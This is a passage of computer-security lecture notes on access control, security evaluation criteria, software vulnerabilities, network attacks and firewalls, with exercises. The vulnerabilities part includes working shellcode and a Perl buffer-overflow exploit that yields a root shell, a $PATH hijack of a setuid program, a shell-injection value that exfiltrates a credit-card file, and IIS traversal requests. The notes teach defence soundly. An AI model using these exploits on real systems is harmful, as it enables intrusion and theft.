The alternative, dynamic inheritance, would also consult the ACLs of ancestor directories along the
path to the root, where necessary.

New files and directories inherit their ACL from their parent directory
when they are created.

Five bits in each ACE indicate whether this ACE

Container inherit – will be inherited by subdirectories

Object inherit – will be inherited by files

No-propagate – inherits to children but not grandchildren

Inherit only – does not apply here

Inherited – was inherited from the parent

In addition, the security descriptor can carry a protected-DACL flag that
protects its DACL from inheriting any ACEs.
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Windows ACL inheritance II

When an ACE is inherited (copied into the ACL of a child), the following
adjustments are made to its flags:

“inherited” is set

if an ACE with “container inherit” is inherited to a subdirectory,
then “inherit only” is cleared, otherwise if an ACE with “object
inherit” is inherited to a subdirectory, “inherit only” is set

if “no-propagate” flag was set, then “container inherit” and “object
inherit” are cleared

If the ACL of a directory changes, it is up to the application making that
change (e.g., Windows Explorer GUI, icacls, SetACL) to traverse the
affected subtree below and update all affected inherited ACEs there
(which may fail due to lack of Change Permissions rights).

The “inherited” flag ensures that during that directory traversal, all
inherited ACEs can be updated without affecting non-inherited ACEs that
were explicitely set for that file or directory.
M. Swift, et al.: Improving the granularity of Access Control for Windows 2000.
ACM Transactions on Information and System Security 5(4)398–437, 2002.
http://dx.doi.org/10.1145/581271.581273
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Windows access control: auditing, defaults, services

SystemAudit ACEs can be added to an object’s security descriptor to
specify which access requests (granted or denied) are audited.

Users can also have capabilities that are not tied to specific objects (e.g.,
bypass traverse checking).

Default installations of Windows NT used no access control lists for
application software, and every user and any application could modify
most programs and operating system components (→ virus risk). This
changed in Windows Vista, where users normally work without
administrator rights.

Windows NT has no support for giving elevated privileges to application
programs. There is no equivalent to the Unix set-user-ID bit.

A “service” is an NT program that normally runs continuously from when
the machine is booted to its shutdown. A service runs independent of
any user and has its own SID.

Client programs started by a user can contact a service via a
communication pipe, and the service can not only receive commands and
data via this pipe, but can also use it to acquire the client’s access
permissions temporarily.
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Principle of least privilege

Ideally, applications should only have access to exactly the objects and
resources they need to perform their operation.

Transferable capabilities
Some operating systems (e.g., KeyKOS, EROS, IBM AS/400, Mach)
combine the notion of an object’s name/reference that is given to a
subject and the access rights that this subject obtains to this object into
a single entity:

capability = (object-reference, rights)

Capabilities can be implemented efficiently as an integer value that
points to an entry in a tamper-resistant capability table associated with
each process (like a POSIX file descriptor). In distributed systems,
capabilities are sometimes implemented as cryptographic tokens.

Capabilities can include the right to be passed on to other subjects. This
way, S1 can pass an access right for O to S2, without sharing any of its
other rights. Problem: Revocation?
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Mandatory Access Control policies I

Restrictions to allowed information flows are not decided at the user’s
discretion (as with Unix chmod), but instead enforced by system policies.

Mandatory access control mechanisms are aimed in particular at
preventing policy violations by untrusted application software, which
typically have at least the same access privileges as the invoking user.

Simple examples:

Air Gap Security

Uses completely separate network and computer hardware for
different application classes.

Examples:

Some hospitals have two LANs and two classes of PCs for accessing
the patient database and the Internet.

Some military intelligence analysts have several PCs on their desks to
handle top secret, secret and unclassified information separately.
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Mandatory Access Control policies II

No communication cables are allowed between an air-gap security
system and the rest of the world. Exchange of storage media has to
be carefully controlled. Storage media have to be completely
zeroised before they can be reused on the respective other system.

Data Pump/Data Diode

Like “air gap” security, but with one-way communication link that
allow users to transfer data from the low-confidentiality to the
high-confidentiality environment, but not vice versa. Examples:

Workstations with highly confidential material are configured to have
read-only access to low confidentiality file servers.
What could go wrong here?

Two databases of different security levels plus a separate process
that maintains copies of the low-security records on the high-security
system.
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The Bell/LaPadula model

Formal policy model for mandatory access control in a military multi-level
security environment.

All subjects (processes, users, terminals) and data objects (files,
directories, windows, connections) are labeled with a confidentiality level,
e.g. unclassified < confidential < secret < top secret.

The system policy automatically prevents the flow of information from
high-level objects to lower levels. A process that reads top secret data
becomes tagged as top secret by the operating system, as will be all
files into which it writes afterwards. Each user has a maximum allowed
confidentiality level specified and cannot receive data beyond that level.
A selected set of trusted subjects is allowed to bypass the restrictions, in
order to permit the declassification of information.
Implemented in US DoD Compartmented Mode Workstation, Orange Book Class B.

L.J. LaPadula, D.E. Bell, Journal of Computer Security 4 (1996) 239–263.
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The covert channel problem

Reference monitors see only intentional communications channels, such as
files, sockets, memory. However, there are many more “covert channels”,
which were neither designed nor intended to transfer information at all. A
malicious high-level program can use these to transmit high-level data to
a low-level receiving process, who can then leak it to the outside world.

Examples

Resource conflicts – If high-level process has already created a file F , a low-level
process will fail when trying to create a file of same name → 1 bit information.

Timing channels – Processes can use system clock to monitor their own progress
and infer the current load, into which other processes can modulate information.

Resource state – High-level processes can leave shared resources (disk head
position, cache memory content, etc.) in states that influence the service
response times for the next process.

Hidden information in downgraded documents – Steganographic embedding
techniques can be used to get confidential information past a human downgrader
(least-significant bits in digital photos, variations of
punctuation/spelling/whitespace in plaintext, etc.).

A good tutorial is A Guide to Understanding Covert Channel Analysis of Trusted Systems,
NCSC-TG-030 “Light Pink Book”, 1993-11, http://www.fas.org/irp/nsa/rainbow/tg030.htm
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A commercial data integrity model

Clark/Wilson noted that BLP is not suited for commercial applications,
where data integrity (prevention of mistakes and fraud) are usually the
primary concern, not confidentiality.

Commercial security systems have to maintain both internal consistency
(that which can be checked automatically) and external consistency
(data accurately describes the real world). To achieve both, data should
only be modifiable via well-formed transactions, and access to these has
to be audited and controlled by separation of duty.

In the Clark/Wilson framework, which formalises this idea, the integrity
protected data is referred to as Constrained Data Items (CDIs), which
can only be accessed via Transformation Procedures (TPs). There are
also Integrity Verification Procedures (IVPs), which check the validity of
CDIs (for example, whether the sum of all accounts is zero), and special
TPs that transform Unconstrained Data Items (UDIs) such as outside
user input into CDIs.
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In the Clark/Wilson framework, a security policy requires:

For all CDIs there is an Integrity Verification Procedure.

All TPs must be certified to maintain the integrity of any CDI.

A CDI can only be changed by a TP.

A list of (subject, TP, CDI) triplets restricts execution of TPs.

This access control list must enforce a suitable separation of duty
among subjects and only special subjects can change it.

Special TPs can convert Unconstrained Data Items into CDIs.

Subjects must be identified and authenticated before they can
invoke TPs.

A TP must log enough audit information into an append-only CDI
to allow later reconstruction of what happened.

Correct implementation of the entire system must be certified.
D.R. Clark, D.R. Wilson: A comparison of commercial and military computer security policies.
IEEE Security & Privacy Symposium, 1987, pp 184–194.
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Exercise 21 Which Unix command finds all installed setuid root programs?

Exercise 22 Which of the Unix commands that you know or use are setuid
root, and why?

Exercise 23 How can you implement a Clark-Wilson policy under Unix?

Exercise 24 How can you implement a Clark-Wilson policy under WinNT?

Exercise 25 What Unix mechanisms could be used to implement capability
based access control for files? What is still missing?

Exercise 26 Suggest a mandatory access control policy against viruses.

Exercise 27 If a multilevel security OS has to run real-time applications and
provides freely selectable scheduling priorities at all levels, how does that affect
security?

Exercise 28 How can the GNU Revision Control System (RCS) be set up to
enforce a Clark/Wilson-style access control policy? (Hint: man ci)

116



Trusted Computing Base

The Trusted Computing Base (TCB) are the parts of a system
(hardware, firmware, software) that enforce a security policy.

A good security design should attempt to make the TCB as small as
possible, to minimise the chance for errors in its implementation and to
simplify careful verification. Faults outside the TCB will not help an
attacker to violate the security policy enforced by it.

Example
In a Unix workstation, the TCB includes at least:

a) the operating system kernel including all its device drivers

b) all processes that run with root privileges

c) all program files owned by root with the set-user-ID–bit set

d) all libraries and development tools that were used to build the above

e) the CPU

f) the mass storage devices and their firmware

g) the file servers and the integrity of their network links

A security vulnerability in any of these could be used to bypass the entire Unix access
control mechanism.
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Basic operating-system security functions

Domain separation
The TCB (operating-system kernel code and data structures, etc.) must
itself be protected from external interference and tampering by untrusted
subjects.

Reference mediation
All accesses by untrusted subjects to objects must be validated by the
TCB before succeeding.

Typical implementation: The CPU can be switched between supervisor mode (used by kernel) and
user mode (used by normal processes). The memory management unit can be reconfigured only by
code that is executed in supervisor mode. Software running in user mode can access only selected
memory areas and peripheral devices, under the control of the kernel. In particular, memory areas
with kernel code and data structures are protected from access by application software.
Application programs can call kernel functions only via a special interrupt/trap instruction, which
activates the supervisor mode and jumps into the kernel at a predefined position, as do all
hardware-triggered interrupts. Any inter-process communication and access to new object has to
be requested from and arranged by the kernel with such system calls.

Today, similar functions are also provided by execution environments that operate at a higher-level
than the OS kernel, e.g. Java/C# virtual machine, where language constraints (type checking)
enforce domain separation, or at a lower level, e.g. virtual machine monitors like Xen or VMware.
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Residual information protection
The operating system must erase any storage resources (registers, RAM
areas, disc sectors, data structures, etc.) before they are allocated to a
new subject (user, process), to avoid information leaking from one
subject to the next.

This function is also known in the literature as “object reuse” or “storage
sanitation”.

There is an important difference between whether residual information is
erased when a resource is

(1) allocated to a subject or

(2) deallocated from a subject.

In the first case, residual information can sometimes be recovered after a
user believes it has been deleted, using specialised “undelete” tools.
Forensic techniques might recover data even after it has been physically erased, for example due to
magnetic media hysteresis, write-head misalignment, or data-dependent aging. P. Gutmann:
Secure deletion of data from magnetic and solid-state memory. USENIX Security Symposium,
1996, pp. 77–89. http://www.cs.auckland.ac.nz/~pgut001/pubs/secure_del.html
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Classification of operating-system security I

In 1983, the US DoD published the “Trusted computer system evaluation
criteria (TCSEC)”, also known as “Orange Book”.

It defines several classes of security functionality required in the TCB of
an operating system:

Class D: Minimal protection – no authentication, access control, or
object reuse (example: MS-DOS, Windows98)

Class C1: Discretionary security protection – support for
discretionary access control, user identification/authentication,
tamper-resistant kernel, security tested and documented (e.g.,
classic Unix versions)

Class C2: Controlled access protection – adds object reuse, audit
trail of object access, access control lists with single user granularity
(e.g., Unix with some auditing extensions, Windows NT in a special
configuration)

120



Classification of operating-system security II

Class B1: Labeled security protection – adds confidentiality labels for
objects, mandatory access control policy, thorough security testing

Class B2: Structured protection – adds trusted path from user to
TCB, formal security policy model, minimum/maximum security
levels for devices, well-structured TCB and user interface, accurate
high-level description, identify covert storage channels and estimate
bandwidth, system administration functions, penetration testing,
TCB source code revision control and auditing

Class B3: Security domains – adds security alarm mechanisms,
minimal TCB, covert channel analysis, separation of system
administrator and security administrator

Class A1: Verified design – adds formal model for security policy,
formal description of TCB must be proved to match the
implementation, strict protection of source code against
unauthorised modification
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Common Criteria
In 1999, TCSEC and its European equivalent ITSEC were merged into
the Common Criteria for Information Technology Security Evaluation.

Covers not only operating systems but a broad spectrum of security
products and associated security requirements

Provides a framework for defining new product and application
specific sets of security requirements (protection profiles)
E.g., NSA’s Controlled Access Protection Profile (CAPP) replaces Orange Book C2.

Separates functional and security requirements from the intensity of
required testing (evaluation assurance level, EAL)

EAL1: tester reads documentation, performs some functionality tests
EAL2: developer provides test documentation and vulnerability analysis for review
EAL3: developer uses RCS, provides more test and design documentation
EAL4: low-level design docs, some TCB source code, secure delivery, independent vul. analysis
(highest level considered economically feasible for existing product)
EAL5: Formal security policy, semiformal high-level design, full TCB source code, indep. testing
EAL6: Well-structured source code, reference monitor for access control, intensive pen. testing
EAL7: Formal high-level design and correctness proof of implementation

E.g., Windows Vista Enterprise was evaluated for CAPP at EAL4 + ALC FLR.3 (flaw remediation).
http://www.commoncriteriaportal.org/
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Common terms for malicious software

Trojan horse – application software with hidden/undocumented
malicious side-effects (e.g. “AIDS Information Disk”, 1989)

Backdoor – function in a Trojan Horse that enables unauthorised
access

Logic bomb – a Trojan Horse that executes its malicious function
only when a specific trigger condition is met (e.g., a timeout after
the employee who authored it left the organisation)

Virus – self-replicating program that can infect other programs by
modifying them to include a version of itself, often carrying a logic
bomb as a payload (Cohen, 1984)

Worm – self-replicating program that spreads onto other computers
by breaking into them via network connections and – unlike a virus –
starts itself on the remote machine without infecting other programs
(e.g., “Morris Worm” 1988: ≈ 8000 machines, “ILOVEYOU” 2000:
estimated 45× 106 machines)

Root kit – Operating-system modification to hide intrusion
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Computer viruses I

Program Virusr
6

r?

Viruses are only able to spread in environments, where

the access control policy allows application programs to modify the
code of other programs (e.g., MS-DOS and Windows)

programs are exchanged frequently in executable form

The original main virus environment (MS-DOS) supported transient,
resident and boot sector viruses.

As more application data formats (e.g., Microsoft Word) become
extended with sophisticated macro languages, viruses appear in
these interpreted languages as well.

Viruses are mostly unknown under Unix. Most installed application
programs are owned by root with rwxr-xr-x permissions and used
by normal users. Unix programs are often transferred as source code,
which is difficult for a virus to infect automatically.
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Computer viruses II

Malware scanners use databases with characteristic code fragments
of most known viruses and Trojans, which are according to some
scanner-vendors around three million today (→ polymorphic viruses).

Virus scanners – like other intrusion detectors – fail on very new or
closely targeted types of attacks and can cause disruption by giving
false alarms occasionally.

Some virus intrusion-detection tools monitor changes in files using
cryptographic checksums.
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Common software vulnerabilities

Missing checks for data size (→ stack buffer overflow)

Missing checks for data content (e.g., shell meta characters)

Missing checks for boundary conditions

Missing checks for success/failure of operations

Missing locks – insufficient serialisation

Race conditions – time of check to time of use

Incomplete checking of environment

Unexpected side channels (timing, etc.)

Lack of authentication

The “curses of security” (Gollmann): change, complacency, convenience
(software reuse for inappropriate purposes, too large TCB, etc.)

C.E. Landwehr, et al.: A taxonomy of computer program security flaws, with examples.
ACM Computing Surveys 26(3), September 1994.
http://dx.doi.org/10.1145/185403.185412
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Example for a missing check of data size

A C program declares a local short string variable

char buffer[80];

and then uses the standard C library routine call

gets(buffer);

to read a single text line from standard input and save it into buffer.
This works fine for normal-length lines but corrupts the stack if the input
is longer than 79 characters. Attacker loads malicious code into buffer
and redirects return address to its start:

Memory: Program Data Heap free Stack

Stack: . . . buffer[80] FP RET Parameters . . .-?
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Overwriting the return address is the most common form of a buffer
overflow attack. If the return address cannot be reached, alternatives
include:

overwrite a function pointer variable on the stack

overwrite previous frame pointer

overwrite security-critical variable value on stack

Some possible countermeasures (in order of preference):

Use programming language with array bounds checking (Java, Ada,
C#, Perl, Python, etc.).

Configure memory management unit to disable code execution on
the stack.

Compiler adds integrity check values before return address.

Operating system randomizes address space layout.
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To exploit a buffer overflow, the attacker typically prepares a byte
sequence that consists of

a “landing pad” – an initial sequence of no-operation (NOP)
instructions that allow for some tolerance in the entry jump address

machine instructions that modify a security-critical data structure or
that hand-over control to another application to gain more access
(e.g., a command-line shell)

some space for function-call parameters

repeated copies of the estimated start address of the buffer, in the
form used for return addresses on the stack.

Buffer-overflow exploit sequences often have to fulfil format constraints,
e.g. not contain any NUL or LF bytes (which would not be copied).

Aleph One: Smashing the stack for fun and profit. Phrack #49, November 1996.
http://www.phrack.org/issues.html?issue=49&id=14&mode=txt
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Buffer overflow example: exploit code

Assembler code for Linux/ix86:
90 nop # landing pad

EB1F jmp l1 # jump to call before cmd string

5E l0: popl %esi # ESI = &cmd

897608 movl %esi,0x8(%esi) # argv[0] = (char **)(cmd + 8) = &cmd

31C0 xorl %eax,%eax # EAX = 0 (without using \0 byte!)

884607 movb %al,0x7(%esi) # cmd[7] = '\0'

89460C movl %eax,0xc(%esi) # argv[1] = NULL

B00B movb $0xb,%al # EAX = 11 [syscall number for execve()]

89F3 movl %esi,%ebx # EBX = string address ("/bin/sh")

8D4E08 leal 0x8(%esi),%ecx # ECX = string addr + 8 (argv[0])

8D560C leal 0xc(%esi),%edx # EDX = string addr + 12 (argv[1])

CD80 int $0x80 # system call into kernel

31DB xorl %ebx,%ebx # EBX = 0

89D8 movl %ebx,%eax # EAX = 0

40 inc %eax # EAX = 1 [syscall number for exit()]

CD80 int $0x80 # system call into kernel

E8DCFFFFFF l1: call l0 # &cmd -> stack, then go back up

2F62696E2F .string "/bin/sh" # cmd = "/bin/sh"

736800

........ # argv[0] = &cmd

........ # argv[1] = NULL

........ # modified return address
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In the following demonstration, we attack a very simple example of a
vulnerable C program that we call stacktest. Imagine that this is (part
of) a setuid-root application installed on many systems:

int main() {

char buf[80];

strcpy(buf, getenv("HOME"));

printf("Home directory: %s\n", buf);

}

This program reads the environment variable $HOME, which normally
contains the file-system path of the user’s home directory, but which the
user can replace with an arbitrary byte string.

It then uses the strcpy() function to copy this string into an 80-bytes
long character array buf, which is then printed.

The strcpy(dest,src ) function copies bytes from src to dest , until
it encounters a 0-byte, which marks the end of a string in C.
A safer version of this program could have checked the length of the string before copying it. It
could also have used the strncpy(dest, src, n ) function, which will never write more than n
bytes: strncpy(buf, getenv("HOME"), sizeof(buf)-1); buf[sizeof(buf)-1] = 0;
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The attacker first has to guess the stack pointer address in the procedure
that causes the overflow. It helps to print the stack-pointer address in a
similarly structured program stacktest2:

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

int main()

{

char buf[80];

printf("getsp() = 0x%04lx\n", get_sp());

}

The function get_sp() simply moves the stack pointer esp into the eax

registers that C functions use on Pentium processors to return their
value. We call get_sp() at the same function-call depth (and with
equally sized local variables) as strcpy() in stacktest:

$ ./stacktest2

0x0xbffff624
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The attacker also needs an auxiliary script stackattack.pl to prepare
the exploit string:
#!/usr/bin/perl
$shellcode =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" .
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" .
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

print(("\x90" x ($ARGV[0] + 4 - (length($shellcode) % 4))) .
$shellcode . (pack('i', $ARGV[1] + $ARGV[2]) x $ARGV[3]));

Finally, we feed the output of this stack into the environment variable
$HOME and call the vulnerable application:

$ HOME=`./stackattack.pl 32 0xbffff624 48 20` ./stacktest

# id

uid=0(root) gid=0(root) groups=0(root)

Some experimentation leads to the choice of a 32-byte long NOP landing
pad, a start address pointing to a location 48 bytes above the estimated
stack pointer address, and 20 repetitions of this start address at the end
(to overwrite the return value), which successfully starts the /bin/sh

command as root.
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Example for missing check of input data

A web server allows users to provide an email address in a form field to
receive a file. The address is received by a näıvely implemented Perl CGI
script and stored in the variable $email. The CGI script then attempts
to send out the email with the command

system("mail $email <message");

This works fine as long as $email contains only a normal email address,
free of shell meta-characters. An attacker provides a carefully selected
pathological address such as

trustno1@hotmail.com < /var/db/creditcards.log ; echo

and executes arbitrary commands (here to receive confidential data via
email). The solution requires that each character with special meaning
handed over to another software is prefixed with a suitable escape symbol
(e.g., \ or '...' in the case of the Unix shell). This requires a detailed
understanding of the recipient’s complete syntax.
Checks for meta characters are also frequently forgotten for text that is passed on to SQL engines,
embedded into HTML pages, etc.
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Missing checks of environment

Developers easily forget that the semantics of many library functions
depends not only on the parameters passed to them, but also on the
state of the execution environment.

Example of a vulnerable setuid root program /sbin/envdemo:

int main() {

system("rm /var/log/msg");

}

The attacker can manipulate the $PATH environment variable, such that
her own rm program is called, rather than /usr/bin/rm:

$ cp /bin/sh rm

$ export PATH=.:$PATH

$ envdemo

# id

uid=0(root) gid=0(root) groups=0(root)
Best avoid unnecessary use of the functionally too rich command shell: unlink("/var/log/msg");
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Integer overflows

Integer numbers in computers behave differently from integer numbers in
mathematics. For an unsigned 8-bit integer value, we have

255 + 1 == 0

0 - 1 == 255

16 * 17 == 16

and likewise for a signed 8-bit value, we have

127 + 1 == -128

-128 / -1 == -128

And what looks like an obvious endless loop

int i = 1;

while (i > 0)

i = i * 2;

terminates after 15, 31, or 63 steps (depending on the register size).
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Integer overflows are easily overlooked and can lead to buffer overflows
and similar exploits. Simple example (OS kernel system-call handler):

char buf[128];

combine(char *s1, size_t len1, char *s2, size_t len2)

{

if (len1 + len2 + 1 <= sizeof(buf)) {

strncpy(buf, s1, len1);

strncat(buf, s2, len2);

}

}

It appears as if the programmer has carefully checked the string lengths
to make a buffer overflow impossible.

But on a 32-bit system, an attacker can still set len2 = 0xffffffff,
and the strncat will be executed because

len1 + 0xffffffff + 1 == len1 < sizeof(buf) .
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Race conditions

Developers often forget that they work on a preemptive multitasking
system. Historic example:

The xterm program (an X11 Window System terminal emulator) is setuid
root and allows users to open a log file to record what is being typed.
This log file was opened by xterm in two steps (simplified version):

1) Change in a subprocess to the real uid/gid, in order to test with
access(logfilename, W_OK) whether the writable file exists. If
not, creates the file owned by the user.

2) Call (as root) open(logfilename, O_WRONLY | O_APPEND) to
open the existing file for writing.

The exploit provides as logfilename the name of a symbolic link that
switches between a file owned by the user and a target file. If access()
is called while the symlink points to the user’s file and open() is called
while it points to the target file, the attacker gains via xterm’s log
function write access to the target file (e.g., ~root/.rhosts).
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Insufficient parameter checking

Historic example:

Smartcards that use the ISO 7816-3 T=0 protocol exchange data like
this:

reader -> card: CLA INS P1 P2 LEN

card -> reader: INS

card <-> reader: ... LEN data bytes ...

card -> reader: 90 00

All exchanges start with a 5-byte header in which the last byte identifies
the number of bytes to be exchanged. In many smartcard
implementations, the routine for sending data from the card to the reader
blindly trusts the LEN value received. Attackers succeeded in providing
longer LEN values than allowed by the protocol. They then received
RAM content after the result buffer, including areas which contained
secret keys.
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Subtle syntax incompatibilities

Example: Overlong UTF-8 sequences

The UTF-8 encoding of the Unicode character set was defined to use
Unicode on systems (like Unix) that were designed for ASCII. The
encoding

U000000 - U00007F: 0xxxxxxx

U000080 - U0007FF: 110xxxxx 10xxxxxx

U000800 - U00FFFF: 1110xxxx 10xxxxxx 10xxxxxx

U010000 - U10FFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx

was designed, such that all ASCII characters (U0000–U007F) are
represented by ASCII bytes (0x00–0x7f), whereas all non-ASCII
characters are represented by sequences of non-ASCII bytes (0x80–0xf7).

The xxx bits are simply the least-significant bits of the binary
representation of the Unicode number. For example, U00A9 = 1010 1001
(copyright sign) is encoded in UTF-8 as

11000010 10101001 = 0xc2 0xa9
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Only the shortest possible UTF-8 sequence is valid for any Unicode
character, but many UTF-8 decoders accept also the longer variants. For
example, the slash character ‘/’ (U002F) can be the result of decoding
any of the four sequences

00101111 = 0x2f

11000000 10101111 = 0xc0 0xaf

11100000 10000000 10101111 = 0xe0 0x80 0xaf

11110000 10000000 10000000 10101111 = 0xf0 0x80 0x80 0xaf

Many security applications test strings for the absence of certain ASCII
characters. If a string is first tested in UTF-8 form, and then decoded
into UTF-16 before it is used, the test will not catch overlong encoding
variants.

This way, an attacker can smuggle a ‘/’ character past a security check
that looks for the 0x2f byte, if the UTF-8 sequence is later decoded
before it is interpreted as a filename (as is the case under Microsoft
Windows, which let to a widely exploited IIS vulnerability).
http://www.cl.cam.ac.uk/~mgk25/unicode.html#utf-8
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Penetration analysis / flaw hypothesis testing

Put together a team of software developers with experience on the
tested platform and in computer security.

Study the user manuals and where available the design
documentation and source code of the examined security system.

Based on the information gained, prepare a list of potential flaws
that might allow users to violate the documented security policy
(vulnerabilities). Consider in particular:

Common programming pitfalls (see page 126)

Gaps in the documented functionality (e.g., missing documented
error message for invalid parameter suggests that programmer forgot
to add the check).

sort the list of flaws by estimated likelihood and then perform tests
to check for the presence of the postulated flaws until available time
or number of required tests is exhausted. Add new flaw hypothesis
as test results provide further clues.
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Network security

“It is easy to run a secure computer system. You merely have to disconnect all connections
and permit only direct-wired terminals, put the machine in a shielded room, and post a

guard at the door.” — Grampp/Morris

Problems:

Wide area networks allow attacks from anywhere, often via several
compromised intermediary machines, international law enforcement
difficult

Commonly used protocols not designed for hostile environment

authentication missing or based on source address, cleartext
password, or integrity of remote host

missing protection against denial-of-service attacks

Use of bus and broadcast technologies, promiscuous-mode network
interfaces

Vulnerable protocol implementations

Distributed denial-of-service attacks
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TCP/IP security

TCP/IP transport connections are
characterised by:

Source IP address

Destination IP address

Source Port

Destination Port

Network protocol stack:

Application

(Middleware)

Transport

Network

Data Link
Physical

IP addresses identify hosts and port numbers distinguish between
different processes within a host. Port numbers < 1024 are “privileged”;
under Unix only root can open them. This is used by some Unix network
services (e.g., rsh) to authenticate peer system processes.

Example destination ports:
20–21=FTP, 22=SSH, 23=telnet, 25=SMTP (email), 79=finger, 80=HTTP, 111=Sun RPC,
137–139=NETBIOS (Windows file/printer sharing), 143=IMAP, 161=SNMP, 60xx=X11, etc. See
/etc/services or http://www.iana.org/assignments/port-numbers for more.
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Address spoofing

IP addresses are 32-bit words (IPv6: 128-bit) split into a network and a
host identifier. Destination IP address is used for routing. The IP source
address is provided by the originating host, which can provide wrong
information (“address spoofing”). It is verified during the TCP 3-way
handshake:

S → D : SYNx

D → S : SYNy , ACKx+1

S → D : ACKy+1

Only the third message starts data delivery, therefore data
communication will only proceed after the claimed originator has
confirmed the reception of a TCP sequence number in an ACK message.
From then on, TCP will ignore messages with sequence numbers outside
the confirmation window. In the absence of an eavesdropper, the start
sequence number can act like an authentication nonce.
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Examples of TCP/IP vulnerabilities I

The IP loose source route option allows S to dictate an explicit path
to D and old specifications (RFC 1122) require destination machines
to use the inverse path for the reply, eliminating the authentication
value of the 3-way TCP handshake.

The connectionless User Datagram Protocol (UDP) has no sequence
numbers and is therefore more vulnerable to address spoofing.

Implementations still have predictable start sequence numbers,
therefore even without having access to reply packets sent from D
to S , an attacker can

impersonate S by performing the entire handshake without receiving
the second message (“sequence number attack”)

disrupt an ongoing communication by inserting data packets with the
right sequence numbers (“session hijacking”)
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Examples of TCP/IP vulnerabilities II

In many older TCP implementations, D allocates a temporary data
record for every half-open connection between the second and third
message of the handshake in a very small buffer. A very small
number of SYN packets with spoofed IP address can exhaust this
buffer and prevent any further TCP communication with D for
considerable time (“SYN flooding”).

For convenience, network services are usually configured with
alphanumeric names mapped by the Domain Name System (DNS),
which features its own set of vulnerabilities:

DNS implementations cache query results, and many older versions
even cache unsolicited ones, allowing an attacker to fill the cache
with desired name/address mappings before launching an
impersonation attack.

Many DNS resolvers are configured to complete name prefixes
automatically, e.g. the hostname n could result in queries
n.cl.cam.ac.uk, n.cam.ac.uk, n.ac.uk, n. So attacker registers
hotmail.com.ac.uk.
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Firewalls I

Firewalls are dedicated gateways between intranets/LANs and wide area
networks. All traffic between the “inside” and “outside” world must pass
through the firewall and is checked there for compliance with a local
security policy. Firewalls themselves are supposed to be highly
penetration resistant. They can filter network traffic at various levels of
sophistication:

A basic firewall function drops or passes TCP/IP packets based on
matches with configured sets of IP addresses and port numbers.
This allows system administrators to control at a single configuration
point which network services are reachable at which host.

A basic packet filter can distinguish incoming and outgoing TCP
traffic because the opening packet lacks the ACK bit. More
sophisticated filtering requires the implementation of a TCP state
machine, which is beyond the capabilities of most normal routing
hardware.
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Firewalls II

Firewalls should perform plausibility checks on source IP addresses,
e.g. not accept from the outside a packet with an inside source
address and vice versa.

Good firewalls check for protocol violations to protect vulnerable
implementations on the intranet. Some implement entire application
protocol stacks in order to sanitise the syntax of protocol data units
and suppress unwanted content (e.g., executable email attachments
→ viruses).

Logging and auditing functions record suspicious activity and
generate alarms. An example are port scans, where a single outside
host sends packets to all hosts of a subnet, a characteristic sign of
someone mapping the network topology or searching systematically
for vulnerable machines.

Firewalls are also used to create encrypted tunnels to the firewalls of
other trusted intranets, in order to set up a virtual private network
(VPN), which provides cryptographic protection for the confidentiality
and authenticity of messages between the intranets in the VPN.
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Limits of firewalls

Once a host on an intranet behind a firewall has been compromised,
the attacker can communicate with this machine by tunnelling traffic
over an open protocol (e.g., HTTPS) and launch further intrusions
unhindered from there.

Little protection is provided against insider attacks.

Centrally administered rigid firewall policies severely disrupt the
deployment of new services. The ability to “tunnel” new services
through existing firewalls with fixed policies has become a major
protocol design criterion. Many new protocols (e.g., SOAP) are for
this reason designed to resemble HTTP, which typical firewall
configurations will allow to pass.

Firewalls can be seen as a compromise solution for environments, where
the central administration of the network configuration of each host on
an intranet is not feasible. Much of firewall protection can be obtained
by simply deactivating the relevant network services on end machines
directly.
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Exercise 29 Read

Ken Thompson: Reflections on Trusting Trust, Communications of the
ACM, Vol 27, No 8, August 1984, pp 761–763

http: // doi. acm. org/ 10. 1145/ 358198. 358210

and explain how even a careful inspection of all source code within the TCB
might miss carefully planted backdoors.

Exercise 30 How can you arrange that an attacker who has gained full access
over a networked machine cannot modify its audit trail unnoticed?

Exercise 31 You are a technician working for the intelligence agency of
Amoria. Your employer is extremely curious about what goes on in a particular
ministry of Bumaria. This ministry has ordered networked computers from an
Amorian supplier and you will be given access to the shipment before it reaches
the customer. What modifications could you perform on the hardware to help
with later break-in attempts, knowing that the Bumarian government only uses
software from sources over which you have no control?
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Exercise 32 The Bumarian government is forced to buy Amorian computers
as its national hardware industry is far from competitive. However, there are
strong suspicions that the Amorian intelligence agencies regularly modify
hardware shipments to help in their espionage efforts. Bumaria has no lack of
software skills and the government uses its own operating system. Suggest to
the Bumarians some operating system techniques that can reduce the
information security risks of potential malicious hardware modifications.

Exercise 33 The log file of your HTTP server shows odd requests such as

GET /scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+C:\
GET /scripts/..%u002f..%u002fwinnt/system32/cmd.exe?/c+dir+C:\
GET /scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+C:\

Explain the attacker’s exact flaw hypothesis and what these penetration
attempts try to exploit.
Is there a connection with the floor tile pattern outside the lecture theatre?
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Exercise 34 Suggest countermeasures against “SYN flooding” attacks. In
particular, can you eliminate the need for keeping a data record on the
destination host by appropriately choosing the sequence number y?

Exercise 35 How could you “hijack” a telnet session? Possible
countermeasures?

Exercise 36 Read in the Common Criteria “Controlled Access Protection
Profile” the “Security Environment” section. Was this profile designed to
evaluate whether a system is secure enough to be connected to the Internet?

http://www.commoncriteriaportal.org/files/ppfiles/capp.pdf
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Security Management and Engineering I

“Is this product/technique/service secure?”

Simple Yes/No answers are often wanted, but typically inappropriate.
Security of an item depends much on the context in which it is used.

Complex systems can provide a very large number of elements and
interactions that are open to abuse. An effective protection can therefore
only be obtained as the result of a systematic planning approach.
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Security Management and Engineering II

“No need to worry, our product is 100% secure. All data is
encrypted with 128-bit keys. It takes billions of years to break

these.”

Such statements are abundant in marketing literature. A security
manager should ask:

What does the mechanism achieve?

Do we need confidentiality, integrity or availability of exactly this
data?

Who will generate the keys and how?

Who will store / have access to the keys?

Can we lose keys and with them data?

Will it interfere with other security measures (backup, auditing,
scanning, . . . )?

Will it introduce new vulnerabilities or can it somehow be used
against us?

What if it breaks or is broken?

. . .
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Security policy development

Step 1: Security requirements analysis
Identify assets and their value

